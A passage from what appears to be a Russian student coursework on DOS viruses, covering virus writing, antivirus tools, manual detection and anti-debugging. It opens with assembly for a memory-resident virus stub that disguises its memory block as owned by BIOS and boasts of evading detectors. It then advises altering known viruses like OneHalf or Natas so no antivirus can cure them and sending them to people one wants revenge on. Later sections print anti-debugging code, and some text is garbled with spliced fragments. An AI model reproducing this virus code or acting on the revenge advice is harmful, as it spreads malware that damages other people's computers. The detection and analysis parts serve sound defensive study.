описатель, который имеет следующий формат: Смещение от начала Размер Описание 0 1 'M' – действующий, 'Z' – последний блок в цепочке1 2 Адресс сегмента PSP программы владельца этого блока3 2 Размер блока в параграфах5 3 ??????????8 16 Размер блока (честно говоря не знаю зачем он нужен) 10h ? Начало блока данных mov al,[di] push di stosb4dh – это код буквы "M" – т.е. мы создаем еще одно звено цепочки (см. Таблицу) mov byte ptr [di-1],4dh mov ax,70h Далее помещается по адресу ES:[di] значение AX. Если посмотрите таблицу, то сразу поймете это значение AX (2 байта) помещается по смещению 1 т.е. а адрес сегмента PSP. Довольно хитроумно придумано. По сути дела здесь должен находиться сегмент программы, которая отвечает за этот блок, а сюда помещается 0070h – что является сегментом BIOS (сюда никакая программа записаться не может) в итоге получается, что этот владельцем этого блока памяти является BIOS, а поэтому просмоторщики памяти на него не реагируют. Но это мое личное размышление, а на самом деле в описании TECH_HELP об этом вопросе написано примерно следующее: "Если поместить значение 0070h в MCB блок – то он считается системным", а то и того меньше. В принципе можно заменить это значение на значение другой системной области, например 0000h. Эффект будет тот же. Неправда ли это занимательный (и важный) факт? stosw После команды STOSW автоматически DI увеличиться на 2, а стало быть следующее значение будет по смещение DI+2 т.е. если смотреть таблицу мы будем находиться по смещению 3. В общем записывается размер вирусного кода в параграфах. mov ax,const2 stoswПосле всего этого дела DI сильно испортился и для этого его надо восстановить. (ранее его запомнили командой Push Di) pop diДалее вернем сегмент данных в исходное состояние. Раз в начале от него отняли 1, то теперь прибавим 1. Ну а дальше, я надеюсь все понятно и без коментариев. inc bx mov es,bxПеребрасываем код вируса в выделенную память. mov cx,const1 push cs pop ds mov si,100h mov di,si cld rep movsb push es pop dsустанавливает новый обработчик прерывания (см. Процедуру new_21) mov dx,offset new_21 mov ax,2521h int 21hИ выходит. Причем в таком варианте выхода, когда не используются стандартные средства для "посадки" резидента (я имею в виду int 27h и функцию 31h прерывания int 21h) не всякие антивирусы-декеткоры могут нас засеч! (А вернее почти НИКТО. Вот и доверяй им после этого). mov ax,4c00h int 21hПечатает в левом верхнем углу "S" красного цветаnew_21: push es ax mov ax,0b800h mov es,ax mov word ptr es:[2],'DC' pop ax es db 0eahold_i dw 0,0end_v:end start На этой "оптимистической" ноте мне бы и хотелось закончить данную главу. Я не сомневаюсь, что теперь вы уже способны написать свой собственный небольшой вирус. Только есть одно "НО". Во первых &‐ писать и изучать вирусы стоит лишь только для самосовершенствования и обогащения своих знаний информатики. Если же все-таки пишите, то вместе с вирусами пишите и антивирус к нему (на тот случай если заразите себя или друзей). Во вторых, если хотите отомстить "нехорошим" людям, то для этого не надо тратить своего драгоценного времени, достаточно переделать уже известный вирус (например OneHalf или Natas), так чтобы его не мог вылечить ни один антивирус, а если и мог, то некорректно и отсылайте его в путь. Смею заметить, что на такой "плагиат" уйдет один, максимум два дня, а на написание собственного неделя или месяц. В результате эффект тот же. Ну и конечно (в третьих) вспомните о последствиях такого рода шуток, я имею в виду правовых и административных АНТИВИРУСЫ
В принципе каждый так или иначе сталкивался с антивирусами. Не знаю ни одного человека у которого на машине не "стоял" бы хотя бы VSAFE или AIDSTEST. По этому нет особой необходимости углубляться в возможности антивирусов или тем более рассказывать как тот или иной антивирус использовать. Все это уже столько раз писалось (в каждой курсовой по этой теме я такое дело встречал), что надоело уже, кроме того в каждом антивирусе существует "справка" где полностью описаны его возможности. Тем не менее уважая традицию, классифицируем типы антивирусов: (данный кусок взят из коллекции курсовых в INTERNET на тему "компьютерные вирусы" автор Луньков Андрей Николаевич – CopyRight надо уважать!) Для обнаружения, удаления и защиты от компьютерных вирусов разработано несколько видов специальных программ, которые позволяют обнаруживать и уничтожать вирусы. Такие программы называются антивирусными. Различают следующие виды антивирусных программ:
Программы-детекторы осуществляют поиск характерной для конкретного вируса сигнатуры в оперативной памяти и в файлах и при обнаружении выдают соответствующее сообщение. Недостатком таких антивирусных программ является то, что они могут находить только те вирусы, которые известны разработчикам таких программ. Программы-доктора или фаги, а также программы-вакцины не только находят зараженные вирусами файлы, но и "лечат" их, т.е. удаляют из файла тело программы-вируса, возвращая файлы в исходное состояние. В начале своей работы фаги ищут вирусы в оперативной памяти, уничтожая их, и только затем переходят к "лечению" файлов. Среди фагов выделяют полифаги, т.е. программы-доктора, предназначенные для поиска и уничтожения большого количества вирусов. Наиболее известные из них: Aidstest, Scan, Norton AntiVirus, Doctor Web. Учитывая, что постоянно появляются новые вирусы, программы-детекторы и программы-доктора быстро устаревают, и требуется регулярное обновление версий. Программы-ревизоры относятся к самым надежным средствам защиты от вирусов. Ревизоры запоминают исходное состояние программ, каталогов и системных областей диска тогда, когда компьютер не заражен вирусом, а затем периодически или по желанию пользователя сравнивают текущее состояние с исходным. Обнаруженные изменения выводятся на экран монитора. Как правило, сравнение состояний производят сразу после загрузки операционной системы. При сравнении проверяются длина файла, код циклического контроля (контрольная сумма файла), дата и время модификации, другие параметры. Программы-ревизоры имеют достаточно развитые алгоритмы, обнаруживают стелс-вирусы и могут даже очистить изменения версии проверяемой программы от изменений, внесенных вирусом. К числу программ-ревизоров относится широко распространенная в России программа Adinf. Программы-фильтры или "сторожа" представляют собой небольшие резидентные программы, предназначенные для обнаружения подозрительных действий при работе компьютера, характерных для вирусов. Такими действиями могут являться:
При попытке какой-либо программы произвести указанные действия "сторож" посылает пользователю сообщение и предлагает запретить или разрешить соответствующее действие. Программы-фильтры весьма полезны, так как способны обнаружить вирус на самой ранней стадии его существования до размножения. Однако, они не "лечат" файлы и диски. Для уничтожения вирусов требуется применить другие программы, например фаги. К недостаткам программ-сторожей можно отнести их "назойливость"(например, они постоянно выдают предупреждение о любой попытке копирования исполняемого файла), а также возможные конфликты с другим программным обеспечением. Примером программы-фильтра является программа Vsafe, входящая в состав пакета утилит MS DOS. Вакцины или иммунизаторы - это резидентные программы, предотвращающие заражение файлов. Вакцины применяют, если отсутствуют программы-доктора, "лечащие" этот вирус. Вакцинация возможна только от известных вирусов. Вакцина модифицирует программу или диск таким образом, чтобы это не отражалось на их работе, а вирус будет воспринимать их зараженными и поэтому не внедрится. В настоящее время программы-вакцины имеют ограниченное применение. И действительно, ревизоры – одна из самых надежных защит от антивирусов. Но опять же для более надежной защиты надо комбинировать разные антивирусные средства. Так как же избавляться от антивирусов? Говорю сразу – DrWeb и Vsafe – не помогут (тем более, что в предыдущей главе мы уже научились обманывать Vsafe). DrWeb – это довольно серьезная вещь т.к. кроме простого поиска вхождения вирусного кода, но еще обладает эвристическим анализом, который выявляет подозрительные на вирус программы (правда вылечить он все равно не сможет). Намного эффективнее работает Adinf – он проверяет изменения в файлах, а потому рассчитан на более опытных пользователей. При такой защите вирус уже можно будет элементарно засечь и никуда он не денется! Но в основном мне редко приходилось сталкиваться с такими вирусами которые DrWeb не лечить, поскольку уже в версии 4.03 он способен обнаружить 10053 вируса. По этому дам вам пару советов как избежать вирусного заражения: 1) отключите в BIOS загрузку с дискеты (по возможности если надо будет загрузить систему загружайтесь с CD-ROM) 2) Каждую дискету на которую что либо было записано на другом PC проверяйте последней версией Drweb на вирусы. 3) Используйте программу Adinf. И примерно раз в неделю обновляйте ее таблицы. 4) Если работаете в Windows то так же можно применять резидентные сторожа (советую Dr Solomon). Но это в том случае если вирус был уже обнаружен. Вот и всё! Теперь пару слов о том, что делать если все таки вы заразились: 1) Если DrWeb нашел на диске один или два вируса, то и паниковать не чего – найдите эти файлы и удалите. 2) Если DrWeb сказал, что файл "подозрителен на вирус", то советую все такие файлы (если за них не ручаетесь) скопировать в один каталог, а затем просмотреть с помощью какого либо дизассемблера. Если вы опасности в нем не заметете то скопируйте его на то место где он и был иначе удалите. 3) Если Adinf сказал, что файл изменен – то посмотрите, что именно изменено (обычно файлы изменяются после установки новой программы на PC). Если все в порядке, то обновите таблицу. Правда придется хранить в голове список всех файлов которые вы изменили или изменила программа. Вот если изменены файлы не Windows(а) и притом много, тогда стоит волноваться! 4) Если же все таки ВРИСУ обнаружен и притом ностоящий, то лучше всего загрузить систему с CD-ROM (сейчас продается много "реаниматоров"), если же такового нет с дискеты (причем защищенной от записи). 5) Загрузить DrWeb и протестировать весть компьютер. Причем проверять все типы файлов. 6) Перезагрузиться по обычному. Запустить Vsafe или ей подобную и еще раз DrWeb (но в обычном режиме) 7) Далее желательно переустановить программы работающие в DOS. По возможность работать в Windows (степень заражения в Win меньше чем в DOS) Тоже все просто! Если же компьютер заражен вирусом который не может вылечиnbsp;nbsp;/addressnbsp; mov es,bx‐ть DrWeb то постарайтесь стереть все зараженный файлы (о том какие зараженные скажет Adinf). Так же храните резервную копию BOOT сектора на диске и если он заразиться, то его будет легко восстановить. А вообще лучше всего (тем более если вы еще не уверены в своих силах) лучше обратиться за помощью к специалисту в этой области или по крайней мере к человеку с опытом. В конце концов (если уже ничего не помогает) всегда есть команда FORMAT C: которая является 100% антивирусной защитой. Но это уже в крайний случаях! Теперь посмотрим, что говорят другие студентnbsp;nbsp;nbsp;nbsp;ы по этому поводу (опять же кусок из реферата. Автор Луньков А.Н.)
ДЕЙСТВИЯ ПРИ ЗАРАЖЕНИИ ВИРУСОМ При заражении компьютера вирусом (или при подозрении на это) важно соблюдать 4-е правила: 1) Прежде всего не надо торопиться и принимать опрометчивых решений. Непродуманные действия могут привести не только к потери части файлов, но к повторному заражению компьютера. 2) Надо немедленно выключить компьютер, чтобы вирус не продолжал своих разрушительных действий. 3) Все действия по обнаружению вида заражения и лечению компьютера следует выполнять при загрузке компьютера с защищенной от записи дискеты с ОС (обязательное правило). 4) Если Вы не обладаете достаточными знаниями и опытом для лечения компьютера, попросите помочь более опытных коллег.
На последок мне бы хотелось обратить внимание тех кто работает по Windows 95 т.к. появился 32-х битный DrWeb рассчитанный на работы по Windows. И если честно, то работает он намного быстрее чем DrWeb под DOS. Но правда (может мне такой попался) вирусы в бут-секторе лечит не корректно. Хорошая программа, но пока из всех кого я знаю доверия она не вызывает, возможно из-за консерватизма программистов. Интересно а как же обнаружить вирусы которые не может обнаружить DrWeb, а Adinf не установлен? А вот тут на помощь приходят не стандартные меры по защите от вирусов, о которых почему то забывают. НЕ стандартные методы обнаружения вирусов.
1. При запуске PC система грузиться дольше чем обычно. Перезагрузитесь с системной дискеты или в COMMAND PROMPT ONLY (F4 – для DOS 6.0 и F8 для DOS 7.х) и просмотрите нет ли лишних файлов с расширение BAT в директории если есть –проверьте из на вирусы. Так же просмотрите на AUTOEXEC и CONFIG. 2. Программы ( например SEA) использующие DOS4GW не запускаются. Возможно заражение вирусом использующим дополнительную или расширенную память. Шанс заражения – примерно 90%. Проверте память DrWеb причем все что выше 640Кб 3. Вы ничего не делаете (В случае если вы не работаете в Windows), но индикатор обращения к винчестеру моргает. Проверьте память антивирусными средствами. 4. Ни с того ни с сего зависают при запуске программы под Windows. Возможно заражение неграмотно написанным вирусом, который не может отличить Windows программу от программы DOS. По этому заражает их по одинаковому алгоритму. А программы имеют разную структуру. 5. При нажатии CTRL+L в Volcov Comander или подобном ему выдается неправильное кол-во общей памяти. Например: 640,360 Bytes Memory 569,088 Bytes Free Volume in drive C: has no label 1,874,853,888 total bytes on drive C: 715,522,048 bytes free on drive C: Хотя если поделить 640360 на 1024 окажется что всего базовой память у нас 625 Кб, хотя на самом деле ее должно быть 640Кб. Этот прием используют бут-вирусы. Возможно заражение бут-вирусом или некорректная работа каких-либо драйверов. Запустите DrWeb, но лучше с этой проблемой справиться Adinf или один из антивирусов под Windows 98 – Vet. Его достоинством является то, что он проверяет диск на не стандартные загрузочные сектора. Это может выявить даже еще неизвестный вирус. 6. При просмотре *.com файлов первой командой является JMP – такой файл может быть тоже вирусом. Проверить файл через Drweb. Если таких фалов много, то следует обраться к специалисту. Как найти вирус? По идее все вирусы объединяет одно и тоже действие или действия. Каждому из них нужно остаться в памяти, заразить другой файл или сразу несколько файлов (а то и все) и т.д. Кстати говоря эвристические анализаторы основаны именно на том, что ищут подобные куски. Итак приведу некоторые из них. Ну во первых если файл начинается с команды jmp или jmp far, это достаточный признак. Потом посмотрите на наличие в тексте программы (а вернее в конце ее) следующих фрагментов: "*.EXE", "*.COM", "COMMAND.COM". Далее следует искать уже по фрагментам команд. Ищите например такие фрагменты кода: ............mov ax,3521hint 21h............или............mov cs:[число],bxmov cs:[число+2],es............или............mov ax,2521hint 21h ............ так же большое число переходов (JMP) тоже может быть подозрительным (например, вирус OneHalf) Таких кусков можно придумывать до бесконечности. Если вы немного "поработаете" с вирусами, я уверен сам сможете расширить этот список еще страниц на шесть. Но допустим, у вы (не дай бог) нашли у себя вирус [или подозрительный на него] как же узнать ошибочны ли сомнения или нет. Для этого следует во первых проверить наличие подозрительного куска в памяти компьютера, а во вторых наличие того же куска в других файлах. И это в ваших силах... Начну по порядку и с самого начала. Как посмотреть код программы? Загружаете Turbo Debuger, через него открываете исследуемый файл. Например открыли файл а там такое: cs:0100 40 inc axcs:0101 E96B09 jmp 0A6Fcs:0104 EB36 jmp 013Ccs:0106 8C4A52 mov [bp+si+52],cscs:0109 A1DCF6 mov ax,[F6DC]cs:010C A2A56F mov [6FA5],alКак я и говорил jmp в начале файла может служить признаком заражения. Если их 2, то смотрим только на первый. Интересно куда это нас "посылает" команда jmp 0A6F? Последуем за ней....А там вот что: cs:0A6F 06 push escs:0A70 1E push dscs:0A71 E80000 call 0A74cs:0A74 5D pop bpcs:0A75 81ED0500 sub bp,0005cs:0A79 8DB66600 lea si,[bp+0066]cs:0A7D 56 push sics:0A7E FA clics:0A7F 1E push dscs:0A80 33C0 xor ax,axcs:0A82 8ED8 mov ds,axcs:0A84 FF366C04 push word ptr [046C]cs:0A88 C70604006B01 mov word ptr [0004],016Bcs:0A8E B862FA mov ax,FA62cs:0A91 2EFF34 push cs:word ptr [si] Если это вирус, то будет достаточно этого куска. Если он есть не только в файле, но и в памяти, то и думать нечего – вы заразились. Основываю я такое предположения на том, что вирусу необходимо хранить все свое тело в памяти для заражения. Итак щием последовательность байт 06, 1E, E8,00,00,5D ..........2E, FF, 34. Для этого предлагаю воспользоваться небольшой программой (специально написал ее на C++ т.к. на PASCAL она бы была значительно больше)
// ============================================================ // Программа поиска в оперативной памяти программы Vsafe // Автор Сазонов.Д. 3 курс инф. // ============================================================ #include <conio.h>#include <stdio.h> unsigned int sseg,sofs;const char vsafe[длинна последовательности]={255, 255,255,255, 0x6, 0x1E, 0xE8,00,00,0x5D и т.д. вобщем перепишите сюда последовательность которую надо найти }; // Основная процедура - функция поиска в памяти по заданной строке// Используется два цикла. Первый по сегментам, второй по смещениюvoid findvirus(){_asm xor ax,ax_asm mov es,ax_asm mov di,ax_asm cld mainloop:asm { mov ch,0 mov cl,44 mov si,offset vsafe add si,4 push di push es rep cmpsb pop es pop di jz found inc di cmp di,16 jb mainloop sub di,16 push es pop ax inc ax push ax pop es cmp ax,0a000h jb mainloop jmp end}found: asm mov sseg,es asm mov sofs,diend:} // Функция возвращает 1 если найденая строка совпала// с расположением куска char mem(unsigned int s,unsigned int o){char res=0;asm {mov ax,s mov es,ax mov bx,o mov dx,word [es:bx] mov cx,word [es:bx-2] cmp dx,cx jnz exit xor al,al cmp dx,0xffff jnz exit inc al mov res,al}exit:return res;} void main(){clrscr();findvirus(); if (!mem(sseg,sofs-2)) printf("В памяти по адресу %X:%Xh находится искомый кусок",sseg,sofs);else printf("В памяти компьютера искомой последовательности не обнаружено! ");getch();} Найти вирус в памяти это основная проблема с которой все сталкиваются, но зато поиск данного куска в других файлах не составит особого труда – с этим справиться каждый. По этому рассмотрен данный алгоритм не будет. Для тренировки же можете потренироваться с поиском программы VSAFE в памяти. Для начала запустите выше приведенную программу до загрузки Vsafe, а затем после. Единственное что надо сделать - это заменить одну строчку в программе т.е. добавить код VSAFE который надо искать (я именно на нем и тренировался, рассматривая VSAFE как вирус и пытаясь его убрать). Привожу код VSAFE: const char Vsafe[48]={255,255,255,255,0xfb,0x2e,0x80,0x3e,0xcf,0x0d,0x00,0x75,0x03,0xe9,0xe2,0x1,0x80,0xfc,0xfa,0x74,0x03,0xe9,0x8b,0x0,0x81,0xfa,0x45,0x59,0x75,0x20,0x3c,0x0,0x74,0x1f,0x3c,0x1,0x74,0x2e,0x3c,0x2,0x74,0x38,0x3c,0x3,0x74,0x41,0x3c,0x4}; Далее вернемся к изучаемому коду, а именно в качестве примера я взял вирус Prowler.828. Именно его по тому, что год назад летом мы с другом (MIB) провели недели две изучая его и пытаясь выловить на своих машинах (DrWeb, тогда еще третьей версии его не находил). После изучения его кода мы решили его назвать MidNight поскольку в его теле была зашифрована это слово. Данный вирус снабжен несколькими уровнями защиты от просмотра и изучения поэтому представляет особый интерес для изучения. С чего же начинать изучать вирус? Прежде всего с заголовка и ГЛАВНОЕ ПРАВИЛО:
НИКОГДА НЕ ЗАПУСКАЙТЕ ЕГО.
После того как изучен заголовок можно приступить к изучению его действий (т.е. при каких условиях он заражает и как заражает, а также что заражает). На что же надо обращать внимание в первую очередь? Рассмотрим на примере того же вируса: cs:0A6F 06 push es cs:0A70 1E push ds cs:0A71 E80000 call 0A74 cs:0A74 5D pop bp cs:0A75 81ED0500 sub bp,0005 cs:0A79 8DB66600 lea si,[bp+0066] cs:0A7D 56 push si cs:0A7E FA cli cs:0A7F 1E push ds cs:0A80 33C0 xor ax,ax cs:0A82 8ED8 mov ds,ax cs:0A84 FF366C04 push word ptr [046C] cs:0A88 C70604006B01 mov word ptr [0004],016B cs:0A8E B862FA mov ax,FA62 cs:0A91 2EFF34 push cs:word ptr [si]cs:0A94 8F066C04 pop word ptr [046C] cs:0A98 31066C04 xor [046C],ax cs:0A9C FF366C04 push word ptr [046C] cs:0AA0 2E8F04 pop cs:word ptr [si] cs:0AA3 46 inc si cs:0AA4 46 inc si cs:0AA5 D1C8 ror ax,1 cs:0AA7 FF0E0400 dec word ptr [0004] cs:0AAB 75E4 jne 0A91 cs:0AAD 8F066C04 pop word ptr [046C] cs:0AB1 1F pop ds cs:0AB2 C3 retСначала посмотрите визуально и постарайтесь построить в голове модель того что делает данный кусок. Начну сначала.Первые 5 строчек не представляют особого интереса т.к. заносят в регистр BP адрес начала вируса (стандартный прием.)lea si,[bp+0066] – это явно какая то переменная вируса, которая находится по смещению 66h от начала вирусного кода. (забегая вперед скажу, что там находится адрес начала зашифрованного кода вируса). Далееcs:0A7D 56 push sics:0A7E FA clics:0A7F 1E push dsВсегда когда видите, что кто-то что-то в программе пытается сохранить спрашивайте: зачем это понадобилось! Зачем понадобилось сохранять SI и DS? Смотрим дальше... Кстати говоря один из приемов защиты от просмотра- команда CLI. Она полностью блокирует прерывание от клавиатуры и еще несколько из второстепенных прерываний. В общем после ее выполнения с клавиатурой работать будет нельзя до выполнения команды STI.cs:0A80 33C0 xor ax,axcs:0A82 8ED8 mov ds,axТак вот зачем понадобилось сохранять DS – его потом обнуляют! Вопрос №2 – зачем?cs:0A84 FF366C04 push word ptr [046C]cs:0A88 C70604006B01 mov word ptr [0004],016BА вот это уже настоящее программистское "извращение". По идее прием данный описан в литературе по защите программ от трассировки, но такую реализацию я видел всего один раз – здесь!Поясняю, если не задан сегмент данных то по умолчанию все данные берутся из сегмента DS (вот зачем его обнуляли – хотели чтобы мы читали из сегмента переменных BIOS). Что же делается дальше? Правда для этого надо знать некоторые переменные BIOS.0:46ch – находиться текущее время таймера (постоянно изменяется, раз в 1/60 сек.), а 0:0004h храниться адрес прерывания int 1h, которое называется Single Step и используется для пошагового отлаживания программы. Как видите если изменить данное прерывание то при первом же шаге просмотра (я имею в виду просмотр по F7) вызовется данное прерывание и управление передастся по неправильному адресу (т.к. его изменили) в результате чего программа просто зависнет! А так вирус хранит здесь длину зашифрованного кода (да ко всему он еще и защифрован)cs:0A8E B862FA mov ax,FA62Данная стока определяет начальное значение ключа по которому будет расшифроваться вирус. А далее все происходит в цикле:cs:0A91 2EFF34 push cs:word ptr [si]берется первое значение зашифрованного участка. Вот именно этим приемом я и был так восхищен! Поскольку передача организованна не через регистры, а через стек, причем используется прямая адресация. Берется значение из CS:[SI] и помещается стекcs:0A94 8F066C04 pop word ptr [046C]А далее берется значение из стека т.е. помещенное туда из CS:[SI]и возвращается не в регистр а непосредственно в ячейку памяти отвечающую за время. Сделано это для того, что если вы пытаетесь "взломать" код то обязательно произойдет задержка. Время измениться, а стало быть измениться значение в ячейке [046ch], вирус неверно расшифруется и система "зависнет" cs:0A98 31066C04 xor [046C],axДалее используется стандартный прием шифрации – наложение по XOR. Тут все просто. cs:0A9C FF366C04 push word ptr [046C] cs:0AA0 2E8F04 pop cs:word ptr [si]Опять же через стек записывается измененное (расшифрованное) значение обратно в память. cs:0AA3 46 inc si cs:0AA4 46 inc siберем следующее слово cs:0AA5 D1C8 ror ax,1Далее, чтобы ключ не повторялся и антивирусу трудно было найти сдвигаются на 1 бит в лево все биты ключа командой ror cs:0AA7 FF0E0400 dec word ptr [0004]уменьшаем цикл. Аналогия с Pascal -{loop: dec [0004] if [0004] <> 0 then goto loop:} cs:0AAB 75E4 jne 0A91 Надо отметить, что хоть задумано все хитро, но защита такая "ломается с пол пинка", достаточно поставить одну BreakPoint (см. следующий раздел) после jne 0a91h. Зачем нам мешать вирусу, раз там столько защит то пускай сделает свое дело – расшифруется, а там мы его и посмотрим. После того как Break Point установлена начинаем выполнение по F9, а далее смотрим сам, уже расшифрованный, код вируса. Как видите все достаточно просто. Намного сложнее дело обстоит с вирусами типа OneHalf. Там присутствует другая уловка против антивирусов и просто любопытных. Весь вирус разделен на десять маленьких частей, которые сами по себе выполняют две-три команды и переходят на следующую часть. Пока все их выследишь уходит очень много времени, а стало быть и терпения обычно не хватает, чтобы просмотреть всё. Предлагаю вам потренироваться с распознавании вирусных кодов, поскольку знать "врага" и как он работает, значит контролировать все его действия, быстро вылавливать и уничтожать! Для самостоятельного изучения предлагаю код вируса Natas, взятый из зараженного файла с помощью Turbo Debuger. cs:1C35 C7C6ED08 mov si,08ED cs:1C39 89CB mov bx,cx cs:1C3B C7C1E6E6 mov cx,E6E6 cs:1C3F 81E9C0E5 sub cx,E5C0 cs:1C43 81F3B56B xor bx,6BB5 cs:1C47 C7C55B0A mov bp,0A5B cs:1C4B 8BFC mov di,sp cs:1C4D 93 xchg bx,ax cs:1C4E 87C3 xchg bx,ax cs:1C50 83EE01 sub si,0001 cs:1C53 45 inc bp cs:1C54 81EB76F2 sub bx,F276 cs:1C58 81EB32F5 sub bx,F532 cs:1C5C 45 inc bp cs:1C5D D1C9 ror cx,1cs:1C62 0BF6 or si,si cs:1C64 87FA xchg dx,di cs:1C66 7C02 jl 1C6A cs:1C68 EBE4 jmp 1C4E cs:1C6A E960F1 jmp 0DCD Это его "голова". С помощью этого дешифровщика он декодирует свое тело и запускается. Далее предлагаю вашему вниманию главу об общих методах борьбы с отладчиками с помощью которых можно засечь вирус. Зная их вы сможете легко избавиться даже от самой противной "компьютерной заразы"
Методы борьбы с отладчиками и дизассемблерами.
Режим пошагового выполнения (трассировки) программы инициируется установкой флага TF в регистре флагов. В пошаговом режиме процессор автоматически генерирует трассировочное прерывание (INT 1 – о нем я рассказывал при описании вируса Midnight см. выше) после выполнения каждой команды или пары команд, если первая команда связана с изменением или пересылкой регистра SS. Процессоры 8086/8088 пропускаnbsp;ют трассировочное прерывание после команд изменения или пересылки любых сегментных регистров. Эта особенность пошагового режима работы называется "потерей трассировочного прерывания" и может быть использована для определения работы программы под отладчиком. Обычно процедура обработки трассировочного прерывания используется программами отладки для индикации содержимого регистров и некоторых ячеек памяти. Пnbsp;nbsp;ри обработке прерываний процессор сохраняет в стеке содержимое регистра флагов, адрес возврата CS:IP, а затем сбрасывает флаги IF и TF, что предотвращает пошаговое выполнение самого обработчика прерывания. Когда процедура обработки прерывания завершается, из стека извлекаются прежние состояния флагов и процессор снова переводится в пошаговый режим работы. Выполняя программу в режиме трассировки, все популярные отладчики (включая Turbo Debugger, Periscope, CodeView, AFD) отслеживают команды PUSHF и INT, и перед их выполнением сбрасывают флаг TF. Этим достигается эмуляция реального поведения трассируемой программы -- при работе под отладчиком в стек засылаются те же самые данные, что и в обычном режиме работы. Следующий фрагмент кода реализует один из возможных способов регистрации выполнения программы в режиме трассировки, использующий особенности работы процессора и отладчика в пошаговом режиме: ... pop ss ; в режиме трассировки после этой команды ; прерывание int 1 не будет вызвано pushf pop ax ; получить флаги в ax test ax,0100h ; установлен ли флаг TF ? jnz tracing ...tracing: ; работа в пошаговом режиме! ... Потеря процессором трассировочного прерывания после выполнения команды POP SS приводит к тому, что отладчик "не заметит" команду PUSHF и в стек будет занесено реальное состояние регистра флагов (с установленным битом TF). Как правило, отладчики позволяют устанавливать в коде программы контрольные точки (Вreak points). Прерывание контрольной точки вызывается командой INT 3 с кодом операции 0CCh. Однобайтовая длина команды INT 3 дает возможность установить контрольную точку в любое место программы, где нужно прервать нормальное выполнение и выполнить некоторые специальные действия. Поскольку использование прерываний 1 и 3 характерно практически для всех отладочных средств, можно сделать предварительный вывод о работе программы под отладчиком, если вектора этих прерываний не указывают на инструкцию IRET (код 0CFh). Если же в достаточном количестве разбросать по коду программы команды вызова прерывания контрольной точки, отладчик будет останавливаться на каждой инструкции INT 3, а при нормальном запуске программы ее выполнение прерываться не будет. Эффективность этого метода существенно повышается при использовании команд вызова прерывания контрольной точки внутри циклов с большим числом повторений. Естественная реакция хакера в таких случаях -- замена инструкций INT 3 на NOP. Поэтому предложенный способ желательно дополнять подсчетом контрольной суммы участков кода, в которых происходит вызов INT 3, или же поручать обработчику прерывания контрольной точки какую-нибудь полезную работу. В простейшем случае можно просто переустановить вектора этих прерываний на процедуры, вызывающие завершение выполняемой программы (например, на обработчики прерываний INT 22 (Program Termination) или INT 0 (Divide Error)), но опытного хакера этот способ надолго не остановит. плохих результатов в плане защиты кода от трассировки можно добиться, используя обработчики отладочных прерываний для динамической модификации кода программы. В следующем примере обработчик прерывания INT 1 замещает пару команд NOP вызовом прерывания 21h, сбрасывая перед возвратом флаг TF для выхода из пошагового режима. При трассировке этой программы отладчиками CodeView и AFD наш обработчик INT 1 так и не вызывается, а Turbo Debugger, хотя и ухитряется заменить NOP'ы на INT 21, дальше выполнения первой команды PUSHF идти не желает. Во всех случаях результат один: вывод на экран сообщения msg блокируется. code segmentassume cs:code,ds:code,ss:codeorg 100h start: mov ax,2501h ; установить обработчик int 1 mov dx,offset int1 int 21h pushf ; инициировать пошаговое pop ax ; выполнение программы or ah,1 ; TF=1 push ax popf mov dx,offset msg ; вывод сообщения mov ah,09hprint: nop ; это место для int 21h nop int 20h ; выходint1: push bp ; обработчик int 1 mov bp,sp push ax mov ax,[bp+6] ; сбросить флаг TF and ah,not 1 mov [bp+6],ax mov word ptr print,021CDh ; сформировать команду int 21h pop ax pop bp iret msg db 'Нормальное выполнение! ',0Ah,0Dh,'$'code endsend start Еще один прекрасный способ сбить с толку практически любой отладчик -- назначение стека в область исполняемых кодов. Как правило, все отладчики используют стек трассируемой программы и для своих нужд, затирая при этом отлаживаемый код. В следующем примере серия команд push ax затирает команды выхода из программы, что позволяет программе продолжить выполнение и после метки stacktop. При попытке трассирования этого фрагмента обычно затираются и сами команды push ax. ... push cs ; настроить стек в область кода pop ss mov sp,offset stacktop mov ax,9090h ; nop,nop push ax ; затираем инструкции push ax push ax nop db 0B8h,00h,04Ch ; mov ax,4C00h db 0CDh,21h ; int 21h db 90h ; nopstacktop: ... ; здесь нужно восстановить указатели стека! Интересные методы, позволяющие изменить логику работы программы при ее пошаговом исполнении под отладчиком, основываются на использовании конвейерного принципа выполнения команд центральным процессором (очереди команд). Очередь команд представляет собой набор байтовых регистров в схеме шинного интерфейса процессора, в которые поступают коды, выбранные из программной памяти непосредственно перед их выполнением. Когда операционное устройство процессора занято выполнением команды, шинный интерфейс самостоятельно инициирует опережающую выборку кодов очередных команд из памяти, что позволяет совместить во времени фазы выборки и выполнения команд. Таким образом достигается высокая плотность загрузки шины и повышение скорости выполнения программы. При выполнении операционным устройством команд передачи управления (условные и безусловные переходы, вызовы подпрограмм и прерываний, возврат из подпрограмм и прерываний), шинный интерфейс сбрасывает очередь и начинает выборку команд по новому адресу. Отладчик, выполняя программу в пошаговом режиме, очищает очередь команд на каждом шаге, вызывая трассировочное прерывание. Механизмы противодействия трассировке могут использовать эту особенность. Пусть, например, cmd1 и cmd2 -- две последовательные команды, выбранные шинным интерфейсом в очередь для выполнения, причем cmd1 не является командой передачи управления или командой пересылки/изменения сегментных регистров. Если команда cmd1 изменит "образ" команды cmd2 в памяти на cmd2', это никак не отразится на ходе выполнения программы в нормальном режиме, поскольку процессор перейдет к исполнению следующей команды из очереди (cmd2). В пошаговом режиме после выполнения команды cmd1 произойдет вызов трассировочного прерывания. При возврате из прерывания очередь команд сбрасывается и из памяти выбирается модифицированная команда cmd2', что, как правило, изменяет логику работы программы. Следующий фрагмент кода иллюстрирует проведенные рассуждения. ... mov byte ptr _cmd2,0F9h ; 0F9h -- код операции stc_cmd2: clc jc tracing ... ; код "нормального" режима ... ; выполнения программыtracing: ... ; работа под отладчиком! В приведенном примере команда mov byte ptr _cmd2, 0F9h (cmd1) осуществляет замену следующей команды clc (cmd2) на stc (cmd2'). Однако, в нормальном режиме работы программы, вместо команды stc будет выполнена "старая" команда clc, которая к этому моменту уже находится в очереди команд. При выполнении этого фрагмента в пошаговом режиме очередь команд будет сброшена и выполнится команда stc, что вызовет переход по метке tracing на соответствующий обработчик особой ситуации. В некоторых случаях удается обнаружить трассировочный режим выполнения программы, используя особенности выполнения под отладчиком системных вызовов DOS. При обработке прерывания 21h текущий указатель стека SS:SP исполняемой программы сохраняется по смещению 2Eh от начала PSP. Если INT 21h вызывается в пошаговом режиме, его обработка поручается соответствующим функциям отладчика и указатель стека, как правило, переустанавливается. Иногда это приводит к тому, что после вызова системной функции в PSP заносится указатель стека отладчика. Такая 